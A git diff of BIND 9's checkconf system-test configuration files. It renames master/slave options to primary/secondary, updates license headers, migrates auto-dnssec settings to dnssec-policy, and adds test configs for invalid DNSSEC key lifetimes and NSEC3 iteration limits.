diff --git a/bin/tests/system/checkconf/good-update-policy9.conf b/bin/tests/system/checkconf/good-update-policy9.conf
index dcb5b461d9..491e07c3f3 100644
--- a/bin/tests/system/checkconf/good-update-policy9.conf
+++ b/bin/tests/system/checkconf/good-update-policy9.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * ms-subdomain . TXT;
diff --git a/bin/tests/system/checkconf/good-view-also-notify.conf b/bin/tests/system/checkconf/good-view-also-notify.conf
index b8a46e9857..54d90ba53f 100644
--- a/bin/tests/system/checkconf/good-view-also-notify.conf
+++ b/bin/tests/system/checkconf/good-view-also-notify.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,8 +14,8 @@
 view example {
 	also-notify { missing; };
 	zone "example.net" {
-		type slave;
+		type secondary;
 		notify no;
-		masters { 192.168.1.1; };
+		primaries { 192.168.1.1; };
 	};
 };
diff --git a/bin/tests/system/checkconf/good.conf b/bin/tests/system/checkconf/good.conf
deleted file mode 100644
index 6b950996cc..0000000000
--- a/bin/tests/system/checkconf/good.conf
+++ /dev/null
@@ -1,261 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*
- * This is just a random selection of configuration options.
- */
-
-/* cut here */
-dnssec-policy "test" {
-	dnskey-ttl 3600;
-	keys {
-		ksk key-directory lifetime P1Y algorithm 13 256;
-		zsk key-directory lifetime P30D algorithm 13;
-		csk key-directory lifetime P30D algorithm 8 2048;
-	};
-	max-zone-ttl 86400;
-	nsec3param ;
-	parent-ds-ttl 7200;
-	parent-propagation-delay PT1H;
-	publish-safety PT3600S;
-	purge-keys P90D;
-	retire-safety PT3600S;
-	signatures-refresh P3D;
-	signatures-validity P2W;
-	signatures-validity-dnskey P14D;
-	zone-propagation-delay PT5M;
-};
-options {
-	avoid-v4-udp-ports {
-		100;
-	};
-	avoid-v6-udp-ports {
-		100;
-	};
-	blackhole {
-		10.0.0.0/8;
-	};
-	coresize 1073741824;
-	datasize 104857600;
-	directory ".";
-	dscp 41;
-	dump-file "named_dumpdb";
-	files 1000;
-	heartbeat-interval 30;
-	hostname none;
-	interface-interval 30;
-	keep-response-order {
-		10.0.10.0/24;
-	};
-	listen-on port 90 {
-		"any";
-	};
-	listen-on port 100 dscp 33 {
-		127.0.0.1/32;
-	};
-	listen-on-v6 port 53 dscp 57 {
-		"none";
-	};
-	match-mapped-addresses yes;
-	memstatistics-file "named.memstats";
-	pid-file none;
-	port 5300;
-	querylog yes;
-	recursing-file "named.recursing";
-	recursive-clients 3000;
-	serial-query-rate 100;
-	server-id none;
-	check-names primary warn;
-	check-names secondary ignore;
-	max-cache-size 20000000000000;
-	nta-lifetime 604800;
-	nta-recheck 604800;
-	validate-except {
-		"corp";
-	};
-	dnssec-policy "test";
-	max-ixfr-ratio 90%;
-	transfer-source 0.0.0.0 dscp 63;
-	zone-statistics none;
-};
-view "first" {
-	match-clients {
-		"none";
-	};
-	zone "example1" {
-		type master;
-		file "xxx";
-		update-policy local;
-		max-ixfr-ratio 20%;
-		notify-source 10.10.10.10 port 53 dscp 55;
-	};
-	zone "clone" {
-		type master;
-		file "yyy";
-		max-ixfr-ratio unlimited;
-	};
-	dnssec-validation auto;
-	zone-statistics terse;
-};
-view "second" {
-	match-clients {
-		"any";
-	};
-	zone "example1" {
-		type master;
-		file "zzz";
-		update-policy local;
-		zone-statistics yes;
-	};
-	zone "example2" {
-		type static-stub;
-		forward only;
-		forwarders {
-			10.53.0.4;
-		};
-		zone-statistics no;
-	};
-	zone "example3" {
-		type static-stub;
-		server-addresses {
-			1.2.3.4;
-		};
-	};
-	zone "clone" {
-		in-view "first";
-	};
-	zone "." {
-		type redirect;
-		masters {
-			1.2.3.4;
-		};
-	};
-	dnssec-validation auto;
-	zone-statistics full;
-};
-view "third" {
-	match-clients {
-		"none";
-	};
-	zone "clone" {
-		in-view "first";
-		forward only;
-		forwarders {
-			10.0.0.100;
-		};
-	};
-	zone "dnssec" {
-		type master;
-		file "file";
-		allow-update {
-			"any";
-		};
-		auto-dnssec maintain;
-	};
-	zone "p" {
-		type primary;
-		file "pfile";
-	};
-	zone "s" {
-		type secondary;
-		masters {
-			1.2.3.4;
-		};
-		notify primary-only;
-	};
-};
-view "fourth" {
-	zone "dnssec-test" {
-		type master;
-		file "dnssec-test.db";
-		dnssec-policy "test";
-	};
-	zone "dnssec-default" {
-		type master;
-		file "dnssec-default.db";
-		dnssec-policy "default";
-	};
-	zone "dnssec-inherit" {
-		type master;
-		file "dnssec-inherit.db";
-	};
-	zone "dnssec-none" {
-		type master;
-		file "dnssec-none.db";
-		dnssec-policy "none";
-	};
-	zone "dnssec-view1" {
-		type master;
-		file "dnssec-view41.db";
-		dnssec-policy "test";
-	};
-	zone "dnssec-view2" {
-		type master;
-		file "dnssec-view42.db";
-	};
-	zone "dnssec-view3" {
-		type master;
-		file "dnssec-view43.db";
-		dnssec-policy "none";
-		key-directory "keys";
-	};
-	zone "dnssec-view4" {
-		type master;
-		file "dnssec-view44.db";
-		dnssec-policy "none";
-	};
-	dnssec-policy "default";
-	key-directory ".";
-};
-view "fifth" {
-	zone "dnssec-view1" {
-		type master;
-		file "dnssec-view51.db";
-		dnssec-policy "test";
-	};
-	zone "dnssec-view2" {
-		type master;
-		file "dnssec-view52.db";
-		dnssec-policy "test";
-		key-directory "keys";
-	};
-	zone "dnssec-view3" {
-		type master;
-		file "dnssec-view53.db";
-		dnssec-policy "default";
-		key-directory "keys";
-	};
-	zone "dnssec-view4" {
-		type master;
-		file "dnssec-view54.db";
-		dnssec-policy "none";
-	};
-	key-directory ".";
-};
-view "chaos" chaos {
-	zone "hostname.bind" chaos {
-		type master;
-		database "_builtin hostname";
-	};
-};
-dyndb "name" "library.so" {
-	this;
-	\};
-	is a {
-		"test" { \{ of; the; };
-	} bracketed;
-	"text \"";
-	system;
-};
-key "mykey" {
-	algorithm "hmac-md5";
-	secret "qwertyuiopasdfgh";
-};
diff --git a/bin/tests/system/checkconf/good.conf.in b/bin/tests/system/checkconf/good.conf.in
new file mode 100644
index 0000000000..7d1f6b8576
--- /dev/null
+++ b/bin/tests/system/checkconf/good.conf.in
@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * This is just a random selection of configuration options.
+ */
+
+/* cut here */
+dnssec-policy "test" {
+	cdnskey yes;
+	cds-digest-types {
+		"sha-256";
+	};
+	dnskey-ttl 3600;
+	keys {
+		ksk key-directory lifetime P1Y algorithm 13 256;
+		zsk key-directory lifetime P30D algorithm 13;
+		csk key-directory lifetime P30D algorithm 8 2048;
+	};
+	max-zone-ttl 86400;
+	nsec3param ;
+	parent-ds-ttl 7200;
+	parent-propagation-delay PT1H;
+	publish-safety PT3600S;
+	purge-keys P90D;
+	retire-safety PT3600S;
+	signatures-refresh P3D;
+	signatures-validity P2W;
+	signatures-validity-dnskey P14D;
+	zone-propagation-delay PT5M;
+};
+options {
+	avoid-v4-udp-ports {
+		100;
+	};
+	avoid-v6-udp-ports {
+		100;
+	};
+	blackhole {
+		10.0.0.0/8;
+	};
+	directory ".";
+	dump-file "named_dumpdb";
+	heartbeat-interval 30;
+	hostname none;
+	interface-interval 30;
+	listen-on port 90 {
+		"any";
+	};
+	listen-on port 100 {
+		127.0.0.1/32;
+	};
+	listen-on-v6 port 53 {
+		"none";
+	};
+	match-mapped-addresses yes;
+	memstatistics-file "named.memstats";
+	pid-file none;
+	port 5300;
+	querylog yes;
+	recursing-file "named.recursing";
+	recursive-clients 3000;
+	serial-query-rate 100;
+	server-id none;
+	update-quota 200;
+	check-names primary warn;
+	check-names secondary ignore;
+	max-cache-size 20000000000000;
+	nta-lifetime 604800;
+	nta-recheck 604800;
+	validate-except {
+		"corp";
+	};
+	dnssec-policy "test";
+	max-ixfr-ratio 90%;
+	transfer-source 0.0.0.0;
+	zone-statistics none;
+};
+parental-agents "parents" port 5353 source 10.10.10.10 port 5354 source-v6 2001:db8::10 port 5355 {
+	10.10.10.11;
+	2001:db8::11;
+};
+view "first" {
+	match-clients {
+		"none";
+	};
+	zone "example1" {
+		type primary;
+		file "xxx";
+		update-policy local;
+		max-ixfr-ratio 20%;
+		notify-source 10.10.10.10 port 53;
+	};
+	zone "clone" {
+		type primary;
+		file "yyy";
+		max-ixfr-ratio unlimited;
+	};
+	dnssec-validation auto;
+	zone-statistics terse;
+};
+view "second" {
+	match-clients {
+		"any";
+	};
+	zone "example1" {
+		type primary;
+		file "zzz";
+		update-policy local;
+		zone-statistics yes;
+	};
+	zone "example2" {
+		type static-stub;
+		forward only;
+		forwarders tls "ephemeral" {
+			10.53.0.4 port 8053 tls "ephemeral";
+		};
+		zone-statistics no;
+	};
+	zone "example3" {
+		type static-stub;
+		server-addresses {
+			1.2.3.4;
+		};
+	};
+	zone "clone" {
+		in-view "first";
+	};
+	zone "." {
+		type redirect;
+		primaries {
+			1.2.3.4;
+		};
+	};
+	dnssec-validation auto;
+	zone-statistics full;
+};
+view "third" {
+	match-clients {
+		"none";
+	};
+	zone "clone" {
+		in-view "first";
+		forward only;
+		forwarders {
+			10.0.0.100;
+		};
+	};
+	zone "dnssec" {
+		type primary;
+		file "file";
+		allow-update {
+			"any";
+		};
+		dnssec-policy "default";
+	};
+	zone "p" {
+		type primary;
+		file "pfile";
+	};
+	zone "s" {
+		type secondary;
+		file "sfile";
+		primaries {
+			1.2.3.4;
+		};
+		notify primary-only;
+	};
+};
+view "fourth" {
+	zone "dnssec-test" {
+		type primary;
+		checkds explicit;
+		file "dnssec-test.db";
+		parental-agents {
+			1.2.3.4;
+			1.2.3.5;
+		};
+		dnssec-policy "test";
+		parental-source 10.10.10.10 port 53;
+	};
+	zone "dnssec-default" {
+		type primary;
+		file "dnssec-default.db";
+		parental-agents {
+			"parents";
+		};
+		dnssec-policy "default";
+	};
+	zone "dnssec-inherit" {
+		type primary;
+		checkds no;
+		file "dnssec-inherit.db";
+	};
+	zone "dnssec-none" {
+		type primary;
+		file "dnssec-none.db";
+		dnssec-policy "none";
+	};
+	zone "dnssec-view1" {
+		type primary;
+		checkds yes;
+		file "dnssec-view41.db";
+		dnssec-policy "test";
+	};
+	zone "dnssec-view2" {
+		type primary;
+		file "dnssec-view42.db";
+	};
+	zone "dnssec-view3" {
+		type primary;
+		file "dnssec-view43.db";
+		dnssec-policy "none";
+		key-directory "keys";
+	};
+	zone "dnssec-view4" {
+		type primary;
+		file "dnssec-view44.db";
+		dnssec-policy "none";
+	};
+	dnssec-policy "default";
+	key-directory ".";
+};
+view "fifth" {
+	zone "dnssec-view1" {
+		type primary;
+		file "dnssec-view51.db";
+		dnssec-policy "test";
+	};
+	zone "dnssec-view2" {
+		type primary;
+		file "dnssec-view52.db";
+		dnssec-policy "test";
+		key-directory "keys";
+	};
+	zone "dnssec-view3" {
+		type primary;
+		file "dnssec-view53.db";
+		dnssec-policy "default";
+		key-directory "keys";
+	};
+	zone "dnssec-view4" {
+		type primary;
+		file "dnssec-view54.db";
+		dnssec-policy "none";
+	};
+	key-directory ".";
+};
+view "chaos" chaos {
+	zone "hostname.bind" chaos {
+		type primary;
+		database "_builtin hostname";
+	};
+};
+dyndb "name" "library.so" {
+	this;
+	\};
+	is a {
+		"test" { \{ of; the; };
+	} bracketed;
+	"text \"";
+	system;
+};
+key "mykey" {
+	algorithm "@DEFAULT_HMAC@";
+	secret "qwertyuiopasdfgh";
+};
diff --git a/bin/tests/system/checkconf/good.zonelist b/bin/tests/system/checkconf/good.zonelist
index 08a5665afd..a5fbfdae18 100644
--- a/bin/tests/system/checkconf/good.zonelist
+++ b/bin/tests/system/checkconf/good.zonelist
@@ -1,24 +1,24 @@
-example1 IN first master
-clone IN first master
-example1 IN second master
+example1 IN first primary
+clone IN first primary
+example1 IN second primary
 example2 IN second static-stub
 example3 IN second static-stub
 clone IN second in-view first
 . IN second redirect
 clone IN third in-view first
-dnssec IN third master
+dnssec IN third primary
 p IN third primary
 s IN third secondary
-dnssec-test IN fourth master
-dnssec-default IN fourth master
-dnssec-inherit IN fourth master
-dnssec-none IN fourth master
-dnssec-view1 IN fourth master
-dnssec-view2 IN fourth master
-dnssec-view3 IN fourth master
-dnssec-view4 IN fourth master
-dnssec-view1 IN fifth master
-dnssec-view2 IN fifth master
-dnssec-view3 IN fifth master
-dnssec-view4 IN fifth master
-hostname.bind chaos chaos master
+dnssec-test IN fourth primary
+dnssec-default IN fourth primary
+dnssec-inherit IN fourth primary
+dnssec-none IN fourth primary
+dnssec-view1 IN fourth primary
+dnssec-view2 IN fourth primary
+dnssec-view3 IN fourth primary
+dnssec-view4 IN fourth primary
+dnssec-view1 IN fifth primary
+dnssec-view2 IN fifth primary
+dnssec-view3 IN fifth primary
+dnssec-view4 IN fifth primary
+hostname.bind chaos chaos primary
diff --git a/bin/tests/system/checkconf/hint-nofile.conf b/bin/tests/system/checkconf/hint-nofile.conf
index f0ef89fb14..1d1dee2e87 100644
--- a/bin/tests/system/checkconf/hint-nofile.conf
+++ b/bin/tests/system/checkconf/hint-nofile.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/in-view-good.conf b/bin/tests/system/checkconf/in-view-good.conf
index 3161c38131..e5e860dc71 100644
--- a/bin/tests/system/checkconf/in-view-good.conf
+++ b/bin/tests/system/checkconf/in-view-good.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 view internal {
 	zone shared.example {
-		type master;
+		type primary;
 		file "shared.example.db";
 	};
 };
diff --git a/bin/tests/system/checkconf/inline-bad.conf b/bin/tests/system/checkconf/inline-bad.conf
index 011bea91be..4662e5a900 100644
--- a/bin/tests/system/checkconf/inline-bad.conf
+++ b/bin/tests/system/checkconf/inline-bad.conf
@@ -1,25 +1,27 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 acl "transferees" {};
-masters "stealthMasters" {127.0.0.1;};
-masters "publicSlaves" {127.0.0.1;};
+primaries "stealthPrimaries" {127.0.0.1;};
+primaries "publicSecondaries" {127.0.0.1;};
 zone "example.net" {
-	type slave;
+	type secondary;
 	key-directory "/var/lib/bind/example.net";
-	auto-dnssec maintain;
+	dnssec-policy default;
 	inline-signing yes;
-	masters { stealthMasters; };
+	primaries { stealthPrimaries; };
 	notify explicit;
-	also-notify { publicSlaves; };
+	also-notify { publicSecondaries; };
 	allow-transfer { localhost; transferees; };
 };
 
diff --git a/bin/tests/system/checkconf/inline-good.conf b/bin/tests/system/checkconf/inline-good.conf
index 8e3115b19c..88c403c2db 100644
--- a/bin/tests/system/checkconf/inline-good.conf
+++ b/bin/tests/system/checkconf/inline-good.conf
@@ -1,26 +1,28 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 acl "transferees" {};
-masters "stealthMasters" {127.0.0.1;};
-masters "publicSlaves" {127.0.0.1;};
+primaries "stealthPrimaries" {127.0.0.1;};
+primaries "publicSecondaries" {127.0.0.1;};
 zone "example.net" {
-	type slave;
+	type secondary;
 	file "/var/cache/bind/example.net.db";
 	key-directory "/var/lib/bind/example.net";
-	auto-dnssec maintain;
+	dnssec-policy default;
 	inline-signing yes;
-	masters { stealthMasters; };
+	primaries { stealthPrimaries; };
 	notify explicit;
-	also-notify { publicSlaves; };
+	also-notify { publicSecondaries; };
 	allow-transfer { localhost; transferees; };
 };
 
diff --git a/bin/tests/system/checkconf/inline-no.conf b/bin/tests/system/checkconf/inline-no.conf
index c441fa9c9a..af7c14130f 100644
--- a/bin/tests/system/checkconf/inline-no.conf
+++ b/bin/tests/system/checkconf/inline-no.conf
@@ -1,25 +1,27 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 acl "transferees" {};
-masters "stealthMasters" {127.0.0.1;};
-masters "publicSlaves" {127.0.0.1;};
+primaries "stealthPrimaries" {127.0.0.1;};
+primaries "publicSecondaries" {127.0.0.1;};
 zone "example.net" {
-	type slave;
+	type secondary;
 	key-directory "/var/lib/bind/example.net";
-	auto-dnssec maintain;
+	dnssec-policy default;
 	inline-signing no;
-	masters { stealthMasters; };
+	primaries { stealthPrimaries; };
 	notify explicit;
-	also-notify { publicSlaves; };
+	also-notify { publicSecondaries; };
 	allow-transfer { localhost; transferees; };
 };
 
diff --git a/bin/tests/system/checkconf/kasp-and-other-dnssec-options.conf b/bin/tests/system/checkconf/kasp-and-other-dnssec-options.conf
index a3eae44f73..6e2f8c7606 100644
--- a/bin/tests/system/checkconf/kasp-and-other-dnssec-options.conf
+++ b/bin/tests/system/checkconf/kasp-and-other-dnssec-options.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,16 +14,8 @@
 include "good-kasp.conf";
 
 zone "nsec3.net" {
-	type master;
+	type primary;
 	file "nsec3.db";
 	dnssec-policy "test";
-	auto-dnssec maintain;
-	dnskey-sig-validity 3600;
-	dnssec-dnskey-kskonly yes;
-	dnssec-secure-to-insecure yes;
-	dnssec-update-mode maintain;
 	inline-signing no;
-	sig-validity-interval 3600;
-	update-check-ksk yes;
 };
-
diff --git a/bin/tests/system/checkconf/kasp-bad-keylen.conf b/bin/tests/system/checkconf/kasp-bad-keylen.conf
index ec52436fe8..385de8c58a 100644
--- a/bin/tests/system/checkconf/kasp-bad-keylen.conf
+++ b/bin/tests/system/checkconf/kasp-bad-keylen.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,12 +13,12 @@
 
 dnssec-policy "bad-keylen" {
 	keys {
-		csk lifetime P10Y algorithm rsasha1 511;
+		csk lifetime P10Y algorithm rsasha256 511;
 	};
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
-	dnssec-policy "badkeylen";
+	dnssec-policy "bad-keylen";
 };
diff --git a/bin/tests/system/checkconf/kasp-bad-lifetime.conf b/bin/tests/system/checkconf/kasp-bad-lifetime.conf
new file mode 100644
index 0000000000..225b38690c
--- /dev/null
+++ b/bin/tests/system/checkconf/kasp-bad-lifetime.conf
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "bad-lifetime-ksk" {
+	/*
+	 * The KSK lifetime is too short.
+	 * The ZSK lifetime is good enough but should trigger a warning.
+	 */
+	keys {
+		ksk lifetime PT3H algorithm 13;
+		zsk lifetime P8DT2H1S algorithm 13;
+	};
+
+	dnskey-ttl PT1H;
+	publish-safety PT1H;
+	retire-safety PT1H;
+	zone-propagation-delay PT1H;
+	max-zone-ttl P1D;
+	signatures-validity P10D;
+	signatures-refresh P3D;
+	parent-ds-ttl PT1H;
+	parent-propagation-delay PT5M;
+};
+
+dnssec-policy "bad-lifetime-zsk" {
+	/*
+	 * The ZSK lifetime is too short.
+	 * The KSK lifetime is good enough but should trigger a warning.
+	 */
+	keys {
+		ksk lifetime PT3H1S algorithm 13;
+		zsk lifetime P8DT2H algorithm 13;
+	};
+
+	dnskey-ttl PT1H;
+	publish-safety PT1H;
+	retire-safety PT1H;
+	zone-propagation-delay PT1H;
+	max-zone-ttl P1D;
+	signatures-validity P10D;
+	signatures-refresh P3D;
+	parent-ds-ttl PT1H;
+	parent-propagation-delay PT5M;
+};
+
+dnssec-policy "bad-lifetime-csk" {
+	/*
+	 * The CSK lifetime is too short.
+	 */
+	keys {
+		csk lifetime PT3H algorithm 13;
+	};
+
+	dnskey-ttl PT1H;
+	publish-safety PT1H;
+	retire-safety PT1H;
+	zone-propagation-delay PT1H;
+	max-zone-ttl P1D;
+	signatures-validity P10D;
+	signatures-refresh P3D;
+	parent-ds-ttl PT1H;
+	parent-propagation-delay PT5M;
+};
+
+zone "bad-lifetime-ksk.example.net" {
+	type primary;
+	file "bad-lifetime-ksk.example.db";
+	dnssec-policy "bad-lifetime-ksk";
+};
+
+zone "bad-lifetime-zsk.example.net" {
+	type primary;
+	file "bad-lifetime-zsk.example.db";
+	dnssec-policy "bad-lifetime-zsk";
+};
+
+zone "bad-lifetime-csk.example.net" {
+	type primary;
+	file "bad-lifetime-csk.example.db";
+	dnssec-policy "bad-lifetime-csk";
+};
diff --git a/bin/tests/system/checkconf/kasp-bad-nsec3-alg.conf b/bin/tests/system/checkconf/kasp-bad-nsec3-alg.conf
index 515d79f2bd..8691b6c9c3 100644
--- a/bin/tests/system/checkconf/kasp-bad-nsec3-alg.conf
+++ b/bin/tests/system/checkconf/kasp-bad-nsec3-alg.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,7 +19,7 @@ dnssec-policy "bad-salt" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "bad-salt";
 };
diff --git a/bin/tests/system/checkconf/kasp-bad-nsec3-iter-fips.conf b/bin/tests/system/checkconf/kasp-bad-nsec3-iter-fips.conf
new file mode 100644
index 0000000000..e54df3b360
--- /dev/null
+++ b/bin/tests/system/checkconf/kasp-bad-nsec3-iter-fips.conf
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "rsasha256" {
+	keys {
+		csk lifetime P10Y algorithm rsasha256 2048;
+	};
+	nsec3param iterations 150;
+};
+
+dnssec-policy "rsasha256-bad" {
+	keys {
+		csk lifetime P10Y algorithm rsasha256 2048;
+	};
+	nsec3param iterations 151;
+};
+
+dnssec-policy "rsasha512" {
+	keys {
+		csk lifetime P10Y algorithm rsasha512 4096;
+	};
+	nsec3param iterations 150;
+};
+
+dnssec-policy "rsasha512-bad" {
+	keys {
+		csk lifetime P10Y algorithm rsasha512 4096;
+	};
+	nsec3param iterations 151;
+};
+
+zone "example.net" {
+	type primary;
+	file "example.db";
+	dnssec-policy "default";
+	inline-signing yes;
+};
diff --git a/bin/tests/system/checkconf/kasp-bad-nsec3-iter.conf b/bin/tests/system/checkconf/kasp-bad-nsec3-iter.conf
index 5d6e72695c..8dc710f29c 100644
--- a/bin/tests/system/checkconf/kasp-bad-nsec3-iter.conf
+++ b/bin/tests/system/checkconf/kasp-bad-nsec3-iter.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -52,7 +54,7 @@ dnssec-policy "rsasha512-bad" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "default";
 };
diff --git a/bin/tests/system/checkconf/kasp-bad-nsec3-salt.conf b/bin/tests/system/checkconf/kasp-bad-nsec3-salt.conf
index 7701d3b4dd..708e5809fe 100644
--- a/bin/tests/system/checkconf/kasp-bad-nsec3-salt.conf
+++ b/bin/tests/system/checkconf/kasp-bad-nsec3-salt.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ dnssec-policy "bad-salt" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
